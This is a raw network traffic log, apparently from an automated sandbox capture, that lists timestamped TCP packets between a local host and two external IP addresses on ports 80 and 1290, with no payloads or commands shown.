Mar 31, 2025 14:08:38.549128056 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549134016 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549143076 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549148083 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549155951 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549171925 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549171925 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549207926 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549221039 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549230099 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549691916 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.828268051 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828288078 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828299046 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828311920 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828322887 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828365088 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828386068 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.828417063 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.828418016 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.828428984 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828442097 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828454971 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828510046 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828521013 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828531027 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828542948 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828553915 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828560114 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828617096 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828629017 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.828644037 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.829214096 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.873987913 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.947390079 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.023897886 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:39.024069071 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:39.125165939 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.125417948 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.137465000 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:39.137550116 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:39.175964117 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.176074028 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.178551912 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.257191896 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:39.425806046 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.426646948 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.426702023 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.426794052 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.426805973 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.426816940 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.426827908 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.426836014 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.426836014 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.426841021 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.426856041 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.426856041 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.426867962 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.427021027 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.427031994 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.427042007 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.427052975 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.427053928 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.427053928 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.427073956 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.427073956 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653058052 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653076887 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653134108 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653146982 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653162003 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653233051 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653233051 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653259993 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653328896 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653340101 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653350115 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653368950 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653368950 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653378010 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653388977 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653403044 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653426886 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653438091 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653836966 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653848886 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653858900 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653871059 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653877020 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653882980 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653906107 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653928041 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653938055 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.653940916 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653940916 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653954029 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.653960943 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.654033899 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.654047966 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.666812897 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.883517981 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883538008 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883548021 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883558989 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883568048 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883578062 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883589029 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883685112 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.883685112 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.883685112 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.883685112 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.883685112 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.883716106 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.883740902 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883812904 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883825064 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.883833885 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884066105 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884140015 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884150982 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884160995 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884244919 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884263039 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884268045 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884278059 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884288073 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884298086 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884308100 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884319067 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884327888 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884345055 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884356022 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884366035 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884375095 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884385109 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884426117 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884438038 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.884454966 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884466887 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884489059 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884543896 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.884555101 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.896616936 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.927815914 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.927851915 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.927861929 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.927872896 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.927885056 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:39.927892923 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:39.935898066 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.126578093 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126593113 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126604080 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126614094 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126657963 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.126676083 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.126837015 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126848936 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126858950 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126869917 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126879930 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126889944 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126899958 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126910925 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126921892 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126930952 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126940966 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126950979 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126960039 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126970053 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126979113 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.126987934 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127002001 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127012968 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127022982 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127032995 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127144098 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127268076 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127278090 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127289057 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127300024 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127312899 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.127748013 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.172818899 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.270538092 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.431562901 CEST	80	48280	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.431658030 CEST	48280	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.526128054 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.526226997 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.528894901 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.757242918 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757318974 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757329941 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757339954 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757350922 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757397890 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.757397890 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.757432938 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.757432938 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.757458925 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757496119 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757497072 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.757509947 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757522106 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.757540941 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.757540941 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.757554054 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.758301020 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.758312941 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:40.758347988 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:40.758347988 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.022712946 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022733927 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022744894 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022754908 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022764921 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022794008 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.022794008 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.022794008 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.022808075 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022814035 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.022814035 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.022823095 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022833109 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022842884 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022845984 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.022854090 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022866011 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022891998 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022900105 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022905111 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022917032 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022981882 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.022993088 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.023123026 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.023133039 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.023142099 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.023621082 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.251604080 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.251621962 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.251631975 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.251642942 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.251655102 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.251666069 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.251667023 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.251696110 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.251696110 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.251696110 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.251960039 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.251991987 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252525091 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252536058 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252546072 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252557039 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252562046 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252562046 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252583981 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252583981 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252814054 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252855062 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252862930 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252873898 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252883911 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252892971 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252916098 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252916098 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252923012 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252934933 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.252953053 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.252959967 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.253978014 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521406889 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521516085 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521528959 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521538973 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521553040 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521666050 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521748066 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521758080 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521770000 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521784067 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521800995 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521811008 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521825075 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521837950 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521847963 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521894932 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521903038 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.521908998 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521922112 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521936893 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521955013 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521962881 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521976948 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.521994114 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.522030115 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748522043 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748603106 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748609066 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748644114 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748662949 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748675108 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748686075 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748708963 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748708963 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748708963 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748712063 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748755932 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748872995 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748883009 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748893023 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748903990 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748908997 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748908997 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748914957 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748925924 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748925924 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748925924 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748938084 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748949051 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748951912 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748951912 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748959064 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748965025 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.748970985 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.748975992 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.749255896 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.971476078 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971494913 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971506119 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971517086 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971555948 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971586943 CEST	48282	80	192.168.2.13	217.156.66.6
